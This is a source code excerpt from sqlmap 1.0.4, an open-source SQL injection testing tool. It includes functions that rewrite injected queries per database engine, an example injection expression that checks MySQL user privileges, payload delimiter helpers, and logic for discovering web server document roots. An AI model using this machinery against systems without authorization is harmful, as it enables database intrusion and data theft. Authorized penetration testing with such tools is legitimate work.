@param query: query to be processed @type query: C{str} @param field: field within the query @type field: C{list} @return: limited query string @rtype: C{str} """ if " FROM " not in query: return query limitedQuery = query limitStr = queries[Backend.getIdentifiedDbms()].limit.query fromIndex = limitedQuery.index(" FROM ") untilFrom = limitedQuery[:fromIndex] fromFrom = limitedQuery[fromIndex + 1:] orderBy = None if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr elif Backend.isDbms(DBMS.HSQLDB): match = re.search(r"ORDER BY [^ ]+", limitedQuery) if match: limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip() limitedQuery += " %s" % match.group(0) if query.startswith("SELECT "): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery = limitedQuery.replace("SELECT ", "SELECT %s " % limitStr, 1) else: limitStr = queries[Backend.getIdentifiedDbms()].limit.query2 % (1, num) limitedQuery += " %s" % limitStr if not match: match = re.search(r"%s\s+(\w+)" % re.escape(limitStr), limitedQuery) if match: orderBy = " ORDER BY %s" % match.group(1) elif Backend.isDbms(DBMS.FIREBIRD): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1) limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): if not " ORDER BY " in limitedQuery: limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT") elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery: limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] if query.startswith("SELECT "): delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query limitedQuery = "%s FROM (%s,%s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr) else: limitedQuery = "%s FROM (SELECT %s,%s" % (untilFrom, ','.join(f for f in field), limitStr) limitedQuery = safeStringFormat(limitedQuery, (fromFrom,)) limitedQuery += "=%d" % (num + 1) elif Backend.isDbms(DBMS.MSSQL): forgeNotIn = True if " ORDER BY " in limitedQuery: orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I) for notDistinct in notDistincts: limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct) limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct) if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "): topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I) if topNums: topNums = topNums.groups() quantityTopNums = topNums[0] limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1) startTopNums = topNums[1] limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num) forgeNotIn = False else: topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1) limitedQuery = limitedQuery.replace("TOP %s " % topNum, "") if forgeNotIn: limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) if " ORDER BY " not in fromFrom: # Reference: http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command if " WHERE " in limitedQuery: limitedQuery = "%s AND %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) else: limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1") else: match = re.search(" ORDER BY (\w+)\Z", query) field = match.group(1) if match else field if " WHERE " in limitedQuery: limitedQuery = "%s AND %s " % (limitedQuery, field) else: limitedQuery = "%s WHERE %s " % (limitedQuery, field) limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "%s %s)" % (field, fromFrom) if orderBy: limitedQuery += orderBy return limitedQuery def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) if selectTopExpr: lengthExpr = lengthQuery % ("(%s)" % expression) elif select: lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1) else: lengthExpr = lengthQuery % expression return unescaper.escape(lengthExpr) def forgeCaseStatement(self, expression): """ Take in input a query string and return its CASE statement query string. Example: Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y' Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END) @param expression: expression to be processed @type num: C{str} @return: processed expression @rtype: C{str} """ caseExpression = expression if Backend.getIdentifiedDbms() is not None: caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] return caseExpression def addPayloadDelimiters(self, value): """ Adds payload delimiters around the input string """ return "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER) if value else value def removePayloadDelimiters(self, value): """ Removes payload delimiters from inside the input string """ return value.replace(PAYLOAD_DELIMITER, '') if value else value def extractPayload(self, value): """ Extracts payload from inside of the input string """ _ = re.escape(PAYLOAD_DELIMITER) return extractRegexResult("(?s)%s(?P.*?)%s" % (_, _), value) def replacePayload(self, value, payload): """ Replaces payload inside the input string with a given payload """ _ = re.escape(PAYLOAD_DELIMITER) return re.sub("(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) return query # SQL agent agent = Agent() sqlmap-1.0.4/lib/core/bigarray.py000066400000000000000000000125171270044205500166660ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import cPickle as pickle except: import pickle import itertools import os import sys import tempfile from lib.core.exception import SqlmapSystemException from lib.core.settings import BIGARRAY_CHUNK_SIZE DEFAULT_SIZE_OF = sys.getsizeof(object()) def _size_of(object_): """ Returns total size of a given object_ (in bytes) """ retval = sys.getsizeof(object_, DEFAULT_SIZE_OF) if isinstance(object_, dict): retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items())) elif hasattr(object_, "__iter__"): retval += sum(_size_of(_) for _ in object_) return retval class Cache(object): """ Auxiliary class used for storing cached chunks """ def __init__(self, index, data, dirty): self.index = index self.data = data self.dirty = dirty class BigArray(list): """ List-like class used for storing large amounts of data (disk cached) """ def __init__(self): self.chunks = [[]] self.chunk_length = sys.maxint self.cache = None self.filenames = set() self._os_remove = os.remove self._size_counter = 0 def append(self, value): self.chunks[-1].append(value) if self.chunk_length == sys.maxint: self._size_counter += _size_of(value) if self._size_counter >= BIGARRAY_CHUNK_SIZE: self.chunk_length = len(self.chunks[-1]) self._size_counter = None if len(self.chunks[-1]) >= self.chunk_length: filename = self._dump(self.chunks[-1]) self.chunks[-1] = filename self.chunks.append([]) def extend(self, value): for _ in value: self.append(_) def pop(self): if len(self.chunks[-1]) < 1: self.chunks.pop() try: with open(self.chunks[-1], "rb") as fp: self.chunks[-1] = pickle.load(fp) except IOError, ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message raise SqlmapSystemException, errMsg return self.chunks[-1].pop() def index(self, value): for index in xrange(len(self)): if self[index] == value: return index return ValueError, "%s is not in list" % value def _dump(self, chunk): try: handle, filename = tempfile.mkstemp() self.filenames.add(filename) os.close(handle) with open(filename, "w+b") as fp: pickle.dump(chunk, fp, pickle.HIGHEST_PROTOCOL) return filename except (OSError, IOError), ex: errMsg = "exception occurred while storing data " errMsg += "to a temporary file ('%s'). Please " % ex.message errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "writeable by the current user" raise SqlmapSystemException, errMsg def _checkcache(self, index): if (self.cache and self.cache.index != index and self.cache.dirty): filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename if not (self.cache and self.cache.index == index): try: with open(self.chunks[index], "rb") as fp: self.cache = Cache(index, pickle.load(fp), False) except IOError, ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message raise SqlmapSystemException, errMsg def __getstate__(self): return self.chunks, self.filenames def __setstate__(self, state): self.__init__() self.chunks, self.filenames = state def __getslice__(self, i, j): retval = BigArray() i = max(0, len(self) + i if i < 0 else i) j = min(len(self), len(self) + j if j < 0 else j) for _ in xrange(i, j): retval.append(self[_]) return retval def __getitem__(self, y): if y < 0: y += len(self) index = y / self.chunk_length offset = y % self.chunk_length chunk = self.chunks[index] if isinstance(chunk, list): return chunk[offset] else: self._checkcache(index) return self.cache.data[offset] def __setitem__(self, y, value): index = y / self.chunk_length offset = y % self.chunk_length chunk = self.chunks[index] if isinstance(chunk, list): chunk[offset] = value else: self._checkcache(index) self.cache.data[offset] = value self.cache.dirty = True def __repr__(self): return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__()) def __iter__(self): for i in xrange(len(self)): yield self[i] def __len__(self): return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) sqlmap-1.0.4/lib/core/common.py000066400000000000000000004074441270044205500163650ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import codecs import contextlib import cookielib import copy import getpass import hashlib import httplib import inspect import json import locale import logging import ntpath import os import posixpath import random import re import socket import string import sys import tempfile import time import urllib import urllib2 import urlparse import unicodedata from ConfigParser import DEFAULTSECT from ConfigParser import RawConfigParser from StringIO import StringIO from difflib import SequenceMatcher from math import sqrt from optparse import OptionValueError from subprocess import PIPE from subprocess import Popen as execute from xml.dom import minidom from xml.sax import parse from xml.sax import SAXParseException from extra.beep.beep import beep from extra.cloak.cloak import decloak from extra.safe2bin.safe2bin import safecharencode from lib.core.bigarray import BigArray from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.convert import base64pickle from lib.core.convert import base64unpickle from lib.core.convert import hexdecode from lib.core.convert import htmlunescape from lib.core.convert import stdoutencode from lib.core.convert import unicodeencode from lib.core.convert import utf8encode from lib.core.decorators import cachedmethod from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DEFAULT_DOC_ROOTS from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CONTENT_STATUS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import OS from lib.core.enums import PLACE from lib.core.enums import PAYLOAD from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import SORT_ORDER from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import BANNER from lib.core.settings import BOLD_PATTERNS from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DBMS_DIRECTORY_DICT from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_MSSQL_SCHEMA from lib.core.settings import DUMMY_USER_INJECTION from lib.core.settings import DYNAMICITY_MARK_LENGTH from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES from lib.core.settings import GIT_PAGE from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IP_ADDRESS_REGEX from lib.core.settings import ISSUES_PAGE from lib.core.settings import IS_WIN from lib.core.settings import LARGE_OUTPUT_THRESHOLD from lib.core.settings import MIN_ENCODED_LEN_CHECK from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MIN_VALID_DELAYED_RESPONSE from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES from lib.core.settings import NULL from lib.core.settings import PARAMETER_AMP_MARKER from lib.core.settings import PARAMETER_SEMICOLON_MARKER from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PLATFORM from lib.core.settings import PRINTABLE_CHAR_REGEX from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT from lib.core.settings import PYVERSION from lib.core.settings import REFERER_ALIASES from lib.core.settings import REFLECTED_BORDER_REGEX from lib.core.settings import REFLECTED_MAX_REGEX_PARTS from lib.core.settings import REFLECTED_REPLACEMENT_REGEX from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTIVE_MISS_THRESHOLD from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import TEXT_TAG_REGEX from lib.core.settings import TIME_STDEV_COEFF from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_QUESTION_MARKER from lib.core.settings import URLENCODE_CHAR_LIMIT from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import VERSION_STRING from lib.core.threads import getCurrentThreadData from lib.utils.sqlalchemy import _sqlalchemy from thirdparty.clientform.clientform import ParseResponse from thirdparty.clientform.clientform import ParseError from thirdparty.magic import magic from thirdparty.odict.odict import OrderedDict from thirdparty.termcolor.termcolor import colored class UnicodeRawConfigParser(RawConfigParser): """ RawConfigParser with unicode writing support """ def write(self, fp): """ Write an .ini-format representation of the configuration state. """ if self._defaults: fp.write("[%s]\n" % DEFAULTSECT) for (key, value) in self._defaults.items(): fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t'))) fp.write("\n") for section in self._sections: fp.write("[%s]\n" % section) for (key, value) in self._sections[section].items(): if key != "__name__": if value is None: fp.write("%s\n" % (key)) else: fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t'))) fp.write("\n") class Format(object): @staticmethod def humanize(values, chain=" or "): return chain.join(values) # Get methods @staticmethod def getDbms(versions=None): """ Format the back-end DBMS fingerprint value and return its values formatted as a human readable string. @return: detected back-end DBMS based upon fingerprint techniques. @rtype: C{str} """ if versions is None and Backend.getVersionList(): versions = Backend.getVersionList() return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filter(None, versions))) @staticmethod def getErrorParsedDBMSes(): """ Parses the knowledge base htmlFp list and return its values formatted as a human readable string. @return: list of possible back-end DBMS based upon error messages parsing. @rtype: C{str} """ htmlParsed = None if len(kb.htmlFp) == 0 or kb.heuristicTest != HEURISTIC_TEST.POSITIVE: pass elif len(kb.htmlFp) == 1: htmlParsed = kb.htmlFp[0] elif len(kb.htmlFp) > 1: htmlParsed = " or ".join(kb.htmlFp) return htmlParsed @staticmethod def getOs(target, info): """ Formats the back-end operating system fingerprint value and return its values formatted as a human readable string. Example of info (kb.headersFp) dictionary: { 'distrib': set(['Ubuntu']), 'type': set(['Linux']), 'technology': set(['PHP 5.2.6', 'Apache 2.2.9']), 'release': set(['8.10']) } Example of info (kb.bannerFp) dictionary: { 'sp': set(['Service Pack 4']), 'dbmsVersion': '8.00.194', 'dbmsServicePack': '0', 'distrib': set(['2000']), 'dbmsRelease': '2000', 'type': set(['Windows']) } @return: detected back-end operating system based upon fingerprint techniques. @rtype: C{str} """ infoStr = "" infoApi = {} if info and "type" in info: if hasattr(conf, "api"): infoApi["%s operating system" % target] = info else: infoStr += "%s operating system: %s" % (target, Format.humanize(info["type"])) if "distrib" in info: infoStr += " %s" % Format.humanize(info["distrib"]) if "release" in info: infoStr += " %s" % Format.humanize(info["release"]) if "sp" in info: infoStr += " %s" % Format.humanize(info["sp"]) if "codename" in info: infoStr += " (%s)" % Format.humanize(info["codename"]) if "technology" in info: if hasattr(conf, "api"): infoApi["web application technology"] = Format.humanize(info["technology"], ", ") else: infoStr += "\nweb application technology: %s" % Format.humanize(info["technology"], ", ") if hasattr(conf, "api"): return infoApi else: return infoStr.lstrip() class Backend: # Set methods @staticmethod def setDbms(dbms): dbms = aliasToDbmsEnum(dbms) if dbms is None: return None # Little precaution, in theory this condition should always be false elif kb.dbms is not None and kb.dbms != dbms: warnMsg = "there seems to be a high probability that " warnMsg += "this could be a false positive case" logger.warn(warnMsg) msg = "sqlmap previously fingerprinted back-end DBMS as " msg += "%s. However now it has been fingerprinted " % kb.dbms msg += "as %s. " % dbms msg += "Please, specify which DBMS should be " msg += "correct [%s (default)/%s] " % (kb.dbms, dbms) while True: _ = readInput(msg, default=kb.dbms) if aliasToDbmsEnum(_) == kb.dbms: break elif aliasToDbmsEnum(_) == dbms: kb.dbms = aliasToDbmsEnum(_) break else: warnMsg = "invalid value" logger.warn(warnMsg) elif kb.dbms is None: kb.dbms = aliasToDbmsEnum(dbms) return kb.dbms @staticmethod def setVersion(version): if isinstance(version, basestring): kb.dbmsVersion = [version] return kb.dbmsVersion @staticmethod def setVersionList(versionsList): if isinstance(versionsList, list): kb.dbmsVersion = versionsList elif isinstance(versionsList, basestring): Backend.setVersion(versionsList) else: logger.error("invalid format of versionsList") @staticmethod def forceDbms(dbms, sticky=False): if not kb.stickyDBMS: kb.forcedDbms = aliasToDbmsEnum(dbms) kb.stickyDBMS = sticky @staticmethod def flushForcedDbms(force=False): if not kb.stickyDBMS or force: kb.forcedDbms = None kb.stickyDBMS = False @staticmethod def setOs(os): if os is None: return None # Little precaution, in theory this condition should always be false elif kb.os is not None and isinstance(os, basestring) and kb.os.lower() != os.lower(): msg = "sqlmap previously fingerprinted back-end DBMS " msg += "operating system %s. However now it has " % kb.os msg += "been fingerprinted to be %s. " % os msg += "Please, specify which OS is " msg += "correct [%s (default)/%s] " % (kb.os, os) while True: _ = readInput(msg, default=kb.os) if _ == kb.os: break elif _ == os: kb.os = _.capitalize() break else: warnMsg = "invalid value" logger.warn(warnMsg) elif kb.os is None and isinstance(os, basestring): kb.os = os.capitalize() return kb.os @staticmethod def setOsVersion(version): if version is None: return None elif kb.osVersion is None and isinstance(version, basestring): kb.osVersion = version @staticmethod def setOsServicePack(sp): if sp is None: return None elif kb.osSP is None and isinstance(sp, int): kb.osSP = sp @staticmethod def setArch(): msg = "what is the back-end database management system architecture?" msg += "\n[1] 32-bit (default)" msg += "\n[2] 64-bit" while True: _ = readInput(msg, default='1') if isinstance(_, basestring) and _.isdigit() and int(_) in (1, 2): kb.arch = 32 if int(_) == 1 else 64 break else: warnMsg = "invalid value. Valid values are 1 and 2" logger.warn(warnMsg) return kb.arch # Get methods @staticmethod def getForcedDbms(): return aliasToDbmsEnum(kb.get("forcedDbms")) @staticmethod def getDbms(): return aliasToDbmsEnum(kb.get("dbms")) @staticmethod def getErrorParsedDBMSes(): """ Returns array with parsed DBMS names till now This functions is called to: 1. Ask user whether or not skip specific DBMS tests in detection phase, lib/controller/checks.py - detection phase. 2. Sort the fingerprint of the DBMS, lib/controller/handler.py - fingerprint phase. """ return kb.htmlFp if kb.get("heuristicTest") == HEURISTIC_TEST.POSITIVE else [] @staticmethod def getIdentifiedDbms(): """ This functions is called to: 1. Sort the tests, getSortedInjectionTests() - detection phase. 2. Etc. """ dbms = None if not kb: pass elif Backend.getForcedDbms() is not None: dbms = Backend.getForcedDbms() elif Backend.getDbms() is not None: dbms = Backend.getDbms() elif kb.get("injection") and kb.injection.dbms: dbms = unArrayizeValue(kb.injection.dbms) elif Backend.getErrorParsedDBMSes(): dbms = unArrayizeValue(Backend.getErrorParsedDBMSes()) elif conf.get("dbms"): dbms = conf.get("dbms") return aliasToDbmsEnum(dbms) @staticmethod def getVersion(): versions = filter(None, flattenValue(kb.dbmsVersion)) if not isNoneValue(versions): return versions[0] else: return None @staticmethod def getVersionList(): versions = filter(None, flattenValue(kb.dbmsVersion)) if not isNoneValue(versions): return versions else: return None @staticmethod def getOs(): return kb.os @staticmethod def getOsVersion(): return kb.osVersion @staticmethod def getOsServicePack(): return kb.osSP @staticmethod def getArch(): if kb.arch is None: Backend.setArch() return kb.arch # Comparison methods @staticmethod def isDbms(dbms): if Backend.getDbms() is not None: return Backend.getDbms() == aliasToDbmsEnum(dbms) else: return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms) @staticmethod def isDbmsWithin(aliases): return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases @staticmethod def isVersion(version): return Backend.getVersion() is not None and Backend.getVersion() == version @staticmethod def isVersionWithin(versionList): if Backend.getVersionList() is None: return False for _ in Backend.getVersionList(): if _ != UNKNOWN_DBMS_VERSION and _ in versionList: return True return False @staticmethod def isVersionGreaterOrEqualThan(version): return Backend.getVersion() is not None and str(Backend.getVersion()) >= str(version) @staticmethod def isOs(os): return Backend.getOs() is not None and Backend.getOs().lower() == os.lower() def paramToDict(place, parameters=None): """ Split the parameters into names and values, check if these parameters are within the testable parameters and return in a dictionary. """ testableParameters = OrderedDict() if place in conf.parameters and not parameters: parameters = conf.parameters[place] parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) if place == PLACE.COOKIE: splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) else: splitParams = parameters.split(conf.paramDel or DEFAULT_GET_POST_DELIMITER) for element in splitParams: element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element) parts = element.split("=") if len(parts) >= 2: parameter = urldecode(parts[0].replace(" ", "")) if not parameter: continue if conf.paramDel and conf.paramDel == '\n': parts[-1] = parts[-1].rstrip() condition = not conf.testParameter condition |= conf.testParameter is not None and parameter in conf.testParameter condition |= place == PLACE.COOKIE and len(intersect((PLACE.COOKIE,), conf.testParameter, True)) > 0 if condition: testableParameters[parameter] = "=".join(parts[1:]) if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): _ = urldecode(testableParameters[parameter], convall=True) if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _))\ and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): warnMsg = "it appears that you have provided tainted parameter values " warnMsg += "('%s') with most probably leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " warnMsg += "Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] " test = readInput(message, default="N") if test[0] not in ("y", "Y"): raise SqlmapSilentQuitException elif not _: warnMsg = "provided value for parameter '%s' is empty. " % parameter warnMsg += "Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) if conf.testParameter and not testableParameters: paramStr = ", ".join(test for test in conf.testParameter) if len(conf.testParameter) > 1: warnMsg = "provided parameters '%s' " % paramStr warnMsg += "are not inside the %s" % place logger.warn(warnMsg) else: parameter = conf.testParameter[0] if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True): debugMsg = "provided parameter '%s' " % paramStr debugMsg += "is not inside the %s" % place logger.debug(debugMsg) elif len(conf.testParameter) != len(testableParameters.keys()): for parameter in conf.testParameter: if parameter not in testableParameters: debugMsg = "provided parameter '%s' " % parameter debugMsg += "is not inside the %s" % place logger.debug(debugMsg) if testableParameters: for parameter, value in testableParameters.items(): if value and not value.isdigit(): for encoding in ("hex", "base64"): try: decoded = value.decode(encoding) if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in string.printable for _ in decoded): warnMsg = "provided parameter '%s' " % parameter warnMsg += "seems to be '%s' encoded" % encoding logger.warn(warnMsg) break except: pass return testableParameters def getManualDirectories(): directories = None pagePath = directoryPath(conf.path) defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]) if kb.absFilePaths: for absFilePath in kb.absFilePaths: if directories: break if directoryPath(absFilePath) == '/': continue absFilePath = normalizePath(absFilePath) windowsDriveLetter = None if isWindowsDriveLetterPath(absFilePath): windowsDriveLetter, absFilePath = absFilePath[:2], absFilePath[2:] absFilePath = ntToPosixSlashes(posixToNtSlashes(absFilePath)) if any("/%s/" % _ in absFilePath for _ in GENERIC_DOC_ROOT_DIRECTORY_NAMES): for _ in GENERIC_DOC_ROOT_DIRECTORY_NAMES: _ = "/%s/" % _ if _ in absFilePath: directories = "%s%s" % (absFilePath.split(_)[0], _) break if pagePath and pagePath in absFilePath: directories = absFilePath.split(pagePath)[0] if windowsDriveLetter: directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories)) directories = normalizePath(directories) if directories: infoMsg = "retrieved the web server document root: '%s'" % directories logger.info(infoMsg) else: warnMsg = "unable to retrieve automatically the web server " warnMsg += "document root" logger.warn(warnMsg) directories = [] message = "what do you want to use for writable directory?\n" message += "[1] common location(s) ('%s') (default)\n" % ", ".join(root for root in defaultDocRoot) message += "[2] custom location(s)\n" message += "[3] custom directory list file\n" message += "[4] brute force search" choice = readInput(message, default="1").strip() if choice == "2": message = "please provide a comma separate list of absolute directory paths: " directories = readInput(message, default="").split(',') elif choice == "3": message = "what's the list file location?\n" listPath = readInput(message, default="") checkFile(listPath) directories = getFileItems(listPath) elif choice == "4": targets = set([conf.hostname]) _ = conf.hostname.split('.') if _[0] == "www": targets.add('.'.join(_[1:])) targets.add('.'.join(_[1:-1])) else: targets.add('.'.join(_[:-1])) targets = filter(None, targets) for prefix in BRUTE_DOC_ROOT_PREFIXES.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]): if BRUTE_DOC_ROOT_TARGET_MARK in prefix and re.match(IP_ADDRESS_REGEX, conf.hostname): continue for suffix in BRUTE_DOC_ROOT_SUFFIXES: for target in targets: item = "%s/%s" % (prefix, suffix) item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/') directories.append(item) if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: break infoMsg = "using generated directory list: %s" % ','.join(directories) logger.info(infoMsg) msg = "use any additional custom directories [Enter for None]: " answer = readInput(msg) if answer: directories.extend(answer.split(',')) else: directories = defaultDocRoot return directories def getAutoDirectories(): retVal = set() if kb.absFilePaths: infoMsg = "retrieved web server absolute paths: " infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths) logger.info(infoMsg) for absFilePath in kb.absFilePaths: if absFilePath: directory = directoryPath(absFilePath) directory = ntToPosixSlashes(directory) retVal.add(directory) else: warnMsg = "unable to automatically parse any web server path" logger.warn(warnMsg) _ = extractRegexResult(r"//[^/]+?(?P/.*)/", conf.url) # web directory if _: retVal.add(_) return list(retVal) def filePathToSafeString(filePath): """ Returns string representation of a given filepath safe for a single filename usage >>> filePathToSafeString('C:/Windows/system32') 'C__Windows_system32' """ retVal = filePath.replace("/", "_").replace("\\", "_") retVal = retVal.replace(" ", "_").replace(":", "_") return retVal def singleTimeDebugMessage(message): singleTimeLogMessage(message, logging.DEBUG) def singleTimeWarnMessage(message): singleTimeLogMessage(message, logging.WARN) def singleTimeLogMessage(message, level=logging.INFO, flag=None): if flag is None: flag = hash(message) if not conf.smokeTest and flag not in kb.singleLogFlags: kb.singleLogFlags.add(flag) logger.log(level, message) def boldifyMessage(message): retVal = message if any(_ in message for _ in BOLD_PATTERNS): retVal = setColor(message, True) return retVal def setColor(message, bold=False): retVal = message level = extractRegexResult(r"\[(?P[A-Z ]+)\]", message) or kb.get("stickyLevel") if message and getattr(LOGGER_HANDLER, "is_tty", False): # 